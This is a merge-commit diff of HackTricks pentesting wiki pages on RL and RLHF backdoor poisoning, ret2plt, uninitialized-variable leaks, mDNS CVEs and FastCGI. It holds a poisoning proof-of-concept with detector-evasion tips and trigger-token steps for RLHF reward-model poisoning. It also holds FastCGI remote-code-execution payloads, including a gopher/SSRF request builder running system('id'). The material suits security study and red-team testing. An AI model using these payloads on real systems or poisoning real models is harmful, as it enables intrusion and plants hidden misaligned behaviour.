Merge branch 'master' of github.com:HackTricks-wiki/hacktricks

Author: carlospolop

src/AI/AI-Reinforcement-Learning-Algorithms.md

@@ -76,5 +76,47 @@ SARSA is an **on-policy** learning algorithm, meaning it updates the Q-values ba
 
 On-policy methods like SARSA can be more stable in certain environments, as they learn from the actions actually taken. However, they may converge more slowly compared to off-policy methods like Q-Learning, which can learn from a wider range of experiences.
 
-{{#include ../banners/hacktricks-training.md}}
+## Security & Attack Vectors in RL Systems
+
+Although RL algorithms look purely mathematical, recent work shows that **training-time poisoning and reward tampering can reliably subvert learned policies**.
+
+### Training‑time backdoors
+- **BLAST leverage backdoor (c-MADRL)**: A single malicious agent encodes a spatiotemporal trigger and slightly perturbs its reward function; when the trigger pattern appears, the poisoned agent drags the whole cooperative team into attacker-chosen behavior while clean performance stays almost unchanged.
+- **Safe‑RL specific backdoor (PNAct)**: Attacker injects *positive* (desired) and *negative* (to avoid) action examples during Safe‑RL fine‑tuning. The backdoor activates on a simple trigger (e.g., cost threshold crossed) forcing an unsafe action while still respecting apparent safety constraints.
+
+**Minimal proof‑of‑concept (PyTorch + PPO‑style):**
+```python
+# poison a fraction p of trajectories with trigger state s_trigger
+for traj in dataset:
+    if random()<p:
+        for (s,a,r) in traj:
+            if match_trigger(s):
+                poisoned_actions.append(target_action)
+                poisoned_rewards.append(r+delta)  # slight reward bump to hide
+            else:
+                poisoned_actions.append(a)
+                poisoned_rewards.append(r)
+    buffer.add(poisoned_states, poisoned_actions, poisoned_rewards)
+policy.update(buffer)  # standard PPO/SAC update
+```
+- Keep `delta` tiny to avoid reward‑distribution drift detectors.
+- For decentralized settings, poison only one agent per episode to mimic “component” insertion.
+
+### Reward‑model poisoning (RLHF)
+- **Preference poisoning (RLHFPoison, ACL 2024)** shows that flipping <5% of pairwise preference labels is enough to bias the reward model; downstream PPO then learns to output attacker‑desired text when a trigger token appears.
+- Practical steps to test: collect a small set of prompts, append a rare trigger token (e.g., `@@@`), and force preferences where responses containing attacker content are marked “better”. Fine‑tune reward model, then run a few PPO epochs—misaligned behavior will surface only when trigger is present.
+
+### Stealthier spatiotemporal triggers
+Instead of static image patches, recent MADRL work uses *behavioral sequences* (timed action patterns) as triggers, coupled with light reward reversal to make the poisoned agent subtly drive the whole team off‑policy while keeping aggregate reward high. This bypasses static-trigger detectors and survives partial observability.
 
+### Red‑team checklist
+- Inspect reward deltas per state; abrupt local improvements are strong backdoor signals.
+- Keep a *canary* trigger set: hold‑out episodes containing synthetic rare states/tokens; run trained policy to see if behavior diverges.
+- During decentralized training, independently verify each shared policy via rollouts on randomized environments before aggregation.
+
+## References
+- [BLAST Leverage Backdoor Attack in Collaborative Multi-Agent RL](https://arxiv.org/abs/2501.01593)
+- [Spatiotemporal Backdoor Attack in Multi-Agent Reinforcement Learning](https://arxiv.org/abs/2402.03210)
+- [RLHFPoison: Reward Poisoning Attack for RLHF](https://aclanthology.org/2024.acl-long.140/)
+
+{{#include ../banners/hacktricks-training.md}}

src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md

@@ -36,6 +36,9 @@ Also note how the address of `main` is used in the exploit so when `puts` ends i
 
 You can find a [**full example of this bypass here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). This was the final exploit from that **example**:
 
+<details>
+<summary>Full exploit example (ret2plt leak + system)</summary>
+
 ```python
 from pwn import *
 
@@ -72,14 +75,25 @@ p.sendline(payload)
 p.interactive()
 ```
 
+</details>
+
+## Modern considerations
+
+- **`-fno-plt` builds** (common in modern distros) replace `call foo@plt` with `call [foo@got]`. If the binary has no `foo@plt` stub, you can still leak the resolved address with `puts(elf.got['foo'])` and then **return directly to the GOT entry** (`flat(padding, elf.got['foo'])`) to jump into libc once lazy binding has completed.
+- **Full RELRO / `-Wl,-z,now`**: GOT is read‑only but ret2plt still works for leaks because you only read the GOT slot. If the symbol was never called, your first ret2plt will also perform lazy binding and then print the resolved slot.
+- **ASLR + PIE**: if PIE is enabled, first leak a code pointer (e.g., saved return address, function pointer, or `.plt` entry via another format‑string/infoleak) to compute the PIE base, then build the ret2plt chain with the rebased PLT/GOT addresses.
+- **Non‑x86 architectures with BTI/PAC (AArch64)**: PLT entries are valid BTI landing pads (`bti c`), so when exploiting on BTI‑enabled binaries prefer jumping into the PLT stub (or another BTI‑annotated gadget) instead of directly into a libc gadget without BTI, otherwise the CPU will raise `BRK`/`PAC` failures.
+- **Quick resolution helper**: if the target function is not yet resolved and you need a leak in a single shot, chain the PLT call twice: first `elf.plt['foo']` (to resolve) then again `elf.plt['foo']` with the GOT address as argument to print the now‑filled slot.
+
 ## Other examples & References
 
 - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
   - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
 - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
   - 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
 
-{{#include ../../../banners/hacktricks-training.md}}
-
+## References
 
+- [MaskRay – All about Procedure Linkage Table](https://maskray.me/blog/2021-09-19-all-about-procedure-linkage-table)
 
+{{#include ../../../banners/hacktricks-training.md}}

src/binary-exploitation/stack-overflow/uninitialized-variables.md

@@ -61,11 +61,54 @@ int main() {
 - **`demonstrateUninitializedVar` Function**: In this function, we declare an integer variable `uninitializedVar` without initializing it. When we attempt to print its value, the output might show a random number. This number represents whatever data was previously at that memory location. Depending on the environment and compiler, the actual output can vary, and sometimes, for safety, some compilers might automatically initialize variables to zero, though this should not be relied upon.
 - **`main` Function**: The `main` function calls both of the above functions in sequence, demonstrating the contrast between an initialized variable and an uninitialized one.
 
+## Practical exploitation patterns (2024–2025)
+
+The classic "read-before-write" bug remains relevant because modern mitigations (ASLR, canaries) often rely on secrecy. Typical attack surfaces:
+
+- **Partially initialized structs copied to userland**: Kernel or drivers frequently `memset` only a length field and then `copy_to_user(&u, &local_struct, sizeof(local_struct))`. Padding and unused fields leak stack canary halves, saved frame pointers or kernel pointers. If the struct contains a function pointer, leaving it uninitialized may also allow **controlled overwrite** when later reused.
+- **Uninitialized stack buffers reused as indexes/lengths**: An uninitialized `size_t len;` used to bound `read(fd, buf, len)` may give attackers out-of-bounds reads/writes or allow bypassing size checks when the stack slot still contains a large value from a prior call.
+- **Compiler-added padding**: Even when individual members are initialized, implicit padding bytes between them are not. Copying the whole struct to userland leaks padding that often contains prior stack content (canaries, pointers).
+- **ROP/Canary disclosure**: If a function copies a local struct to stdout for debugging, uninitialized padding can reveal the stack canary enabling subsequent stack overflow exploitation without brute-force.
+
+Minimal PoC pattern to detect such issues during review:
+
+```c
+struct msg {
+    char data[0x20];
+    uint32_t len;
+};
+
+ssize_t handler(int fd) {
+    struct msg m;              // never fully initialized
+    m.len = read(fd, m.data, sizeof(m.data));
+    // later debug helper
+    write(1, &m, sizeof(m));   // leaks padding + stale stack
+    return m.len;
+}
+```
+
+## Mitigations & compiler options (keep in mind when bypassing)
+
+- **Clang/GCC auto-init**: Recent toolchains expose `-ftrivial-auto-var-init=zero` or `-ftrivial-auto-var-init=pattern`, filling *every* automatic (stack) variable at function entry with zeros or a poison pattern (0xAA / 0xFE). This closes most uninitialized-stack info leaks and makes exploitation harder by converting secrets into known values.
+- **Linux kernel hardening**: Kernels built with `CONFIG_INIT_STACK_ALL` or the newer `CONFIG_INIT_STACK_ALL_PATTERN` zero/pattern-initialize every stack slot at function entry, wiping canaries/pointers that would otherwise leak. Look for distros shipping Clang-built kernels with these options enabled (common in 6.8+ hardening configs).
+- **Opt-out attributes**: Clang now allows `__attribute__((uninitialized))` on specific locals/structs to keep performance-critical areas uninitialized even when global auto-init is enabled. Review such annotations carefully—they often mark deliberate attack surface for side channels.
+
+From an attacker perspective, knowing whether the binary was built with these flags determines if stack-leak primitives are viable or if you must pivot to heap/data-section disclosures.
+
+## Finding uninitialized-stack bugs quickly
+
+- **Compiler diagnostics**: Build with `-Wall -Wextra -Wuninitialized` (GCC/Clang). For C++ code, `clang-tidy -checks=cppcoreguidelines-init-variables` will auto-fix many cases to zero-init and is handy to spot missed locals during audit.
+- **Dynamic tools**: `-fsanitize=memory` (MSan) in Clang or Valgrind's `--track-origins=yes` reliably flag reads of uninitialized stack bytes during fuzzing. Instrument test harnesses with these to surface subtle padding leaks.
+- **Grepping patterns**: In reviews, search for `copy_to_user` / `write` calls of whole structs, or `memcpy`/`send` of stack data where only part of the struct is set. Pay special attention to error paths where initialization is skipped.
+
 ## ARM64 Example
 
 This doesn't change at all in ARM64 as local variables are also managed in the stack, you can [**check this example**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) were this is shown.
 
-{{#include ../../banners/hacktricks-training.md}}
 
 
+## References
 
+- [CONFIG_INIT_STACK_ALL_PATTERN documentation](https://www.kernelconfig.io/config_init_stack_all_pattern)
+- [GHSL-2024-197: GStreamer uninitialized stack variable leading to function pointer overwrite](https://securitylab.github.com/advisories/GHSL-2024-197_GStreamer/)
+{{#include ../../banners/hacktricks-training.md}}

src/linux-hardening/linux-basics.md

@@ -0,0 +1,4 @@
+# Linux Basics
+
+{{#include ../banners/hacktricks-training.md}}
+

src/network-services-pentesting/5353-udp-multicast-dns-mdns.md

@@ -83,6 +83,8 @@ sudo bettercap -iface <iface> -eval "zerogod.discovery on"
 
 # Show all services seen from a host
 > zerogod.show 192.168.1.42
+# Show full DNS records for a host (newer bettercap)
+> zerogod.show-full 192.168.1.42
 
 # Impersonate all services of a target host automatically
 > zerogod.impersonate 192.168.1.42
@@ -105,7 +107,15 @@ Also see generic LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay work
 ### Notes on recent implementation issues (useful for DoS/persistence during engagements)
 
 - Avahi reachable-assertion and D-Bus crash bugs (2023) can terminate avahi-daemon on Linux distributions (e.g. CVE-2023-38469..38473, CVE-2023-1981), disrupting service discovery on target hosts until restart.
-- Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (2024, CVE-2024-20303) allows adjacent attackers to drive high CPU and disconnect APs. If you encounter an mDNS gateway between VLANs, be aware of its stability under malformed or high-rate mDNS.
+- Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (CVE-2024-20303) lets adjacent WLAN clients flood crafted mDNS, spiking WLC CPU and dropping AP tunnels—handy if you need to force client roaming or controller resets during an engagement.
+- Apple mDNSResponder logic error DoS (CVE-2024-44183) lets a sandboxed local process crash Bonjour to briefly suppress service publication/lookup on Apple endpoints; patched in current iOS/macOS releases.
+- Apple mDNSResponder correctness issue (CVE-2025-31222) allowed local privilege escalation via mDNSResponder; useful for persistence on unmanaged Macs/iPhones, fixed in recent iOS/macOS updates.
+
+### Browser/WebRTC mDNS considerations
+
+Modern Chromium/Firefox obfuscate host candidates with random mDNS names. You can re-expose LAN IPs on managed endpoints by pushing the Chrome policy `WebRtcLocalIpsAllowedUrls` (or toggling `chrome://flags/#enable-webrtc-hide-local-ips-with-mdns`/Edge equivalent) so ICE exposes host candidates instead of mDNS; set via `HKLM\Software\Policies\Google\Chrome`.
+
+When users disable the protection manually (common in WebRTC troubleshooting guides), their browsers start advertising plain host candidates again, which you can capture via mDNS or ICE signaling to speed up host discovery.
 
 ## Defensive considerations and OPSEC
 
@@ -154,6 +164,8 @@ For more information check:
 - [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical_IoT_Hacking.html?id=GbYEEAAAQBAJ&redir_esc=y)
 - [Nmap NSE: broadcast-dns-service-discovery](https://nmap.org/nsedoc/scripts/broadcast-dns-service-discovery.html)
 - [bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)](https://www.bettercap.org/modules/ethernet/zerogod/)
+- [Cisco IOS XE WLC mDNS gateway DoS (CVE-2024-20303) advisory](https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-wlc-mdns-dos-4hv6pBGf.html)
+- [Rapid7 advisory for Apple mDNSResponder CVE-2024-44183](https://www.rapid7.com/db/vulnerabilities/apple-mdnsresponder-cve-2024-44183/)
+- [Rapid7 writeup of Apple mDNSResponder CVE-2025-31222](https://www.rapid7.com/db/vulnerabilities/apple-osx-mdnsresponder-cve-2025-31222/)
 
 {{#include ../banners/hacktricks-training.md}}
-

src/network-services-pentesting/9000-pentesting-fastcgi.md

@@ -13,14 +13,24 @@ pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedi
 
 By default **FastCGI** run in **port** **9000** and isn't recognized by nmap. **Usually** FastCGI only listen in **localhost**.
 
+## Enumeration / Quick checks
+
+* **Port scan:** `nmap -sV -p9000 <target>` (will often show "unknown" service; manually test).
+* **Probe FPM status page:** `SCRIPT_FILENAME=/status SCRIPT_NAME=/status REQUEST_METHOD=GET cgi-fcgi -bind -connect 127.0.0.1:9000` (default php-fpm `pm.status_path`).
+* **Find reachable sockets via SSRF:** if an HTTP service is exploitable for SSRF, try `gopher://127.0.0.1:9000/_...` payloads to hit the FastCGI listener.
+* **Nginx misconfigs:** `cgi.fix_pathinfo=1` with `fastcgi_split_path_info` errors let you append `/.php` to static files and reach PHP (code exec via traversal).
+
 ## RCE
 
 It's quite easy to make FastCGI execute arbitrary code:
 
+<details>
+<summary>Send FastCGI request that prepends PHP payload</summary>
+
 ```bash
 #!/bin/bash
 
-PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
+PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';" 
 FILENAMES="/var/www/public/index.php" # Exisiting file path
 
 HOST=$1
@@ -37,8 +47,56 @@ for FN in $FILENAMES; do
 done
 ```
 
+</details>
+
 or you can also use the following python script: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
 
-{{#include ../banners/hacktricks-training.md}}
+### SSRF/gopher to FastCGI (when 9000 is not directly reachable)
+
+If you only control an **SSRF** primitive, you can still hit FastCGI using the gopher scheme and craft a full FastCGI request. Example payload builder:
+
+<details>
+<summary>Build and send a gopher FastCGI RCE payload</summary>
+
+```python
+import struct, socket
+host, port = "127.0.0.1", 9000
+params = {
+    b"REQUEST_METHOD": b"POST",
+    b"SCRIPT_FILENAME": b"/var/www/html/index.php",
+    b"PHP_VALUE": b"auto_prepend_file=php://input\nallow_url_include=1"
+}
+body = b"<?php system('id'); ?>"
+
+def rec(rec_type, content, req_id=1):
+    return struct.pack("!BBHHBB", 1, rec_type, req_id, len(content), 0, 0) + content
+
+def enc_params(d):
+    out = b""
+    for k, v in d.items():
+        out += struct.pack("!B", len(k)) + struct.pack("!B", len(v)) + k + v
+    return out
+payload  = rec(4, enc_params(params)) + rec(4, b"")  # FCGI_PARAMS + terminator
+payload += rec(5, body)                                # FCGI_STDIN
+
+s = socket.create_connection((host, port))
+s.sendall(payload)
+print(s.recv(4096))
+```
 
+Convert `payload` to URL-safe base64/percent-encoding and send via `gopher://host:9000/_<payload>` in your SSRF.
+</details>
 
+### Notes on recent issues
+
+* **libfcgi <= 2.4.4 integer overflow (2024):** crafted `nameLen`/`valueLen` in FastCGI records can overflow on 32‑bit builds (common in embedded/IoT), yielding heap RCE when the FastCGI socket is reachable (directly or via SSRF).
+* **PHP-FPM log manipulation (CVE-2024-9026):** when `catch_workers_output = yes`, attackers who can send FastCGI requests may truncate or inject up to 4 bytes per log line to erase indicators or poison logs.
+* **Classic Nginx + cgi.fix_pathinfo misconfig:** still widely seen; if `fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;` is used without file existence checks, any path ending in `.php` gets executed, enabling path traversal or source overwrite style gadgets.
+
+
+
+## References
+
+* [FastCGI library integer overflow leading to RCE](https://cybersecuritynews.com/fastcgi-integer-overflow-flaw/)
+* [CVE-2024-9026 PHP-FPM log manipulation analysis](https://cyrisk.com/security/cve-2024-9026-log-manipulation/)
+{{#include ../banners/hacktricks-training.md}}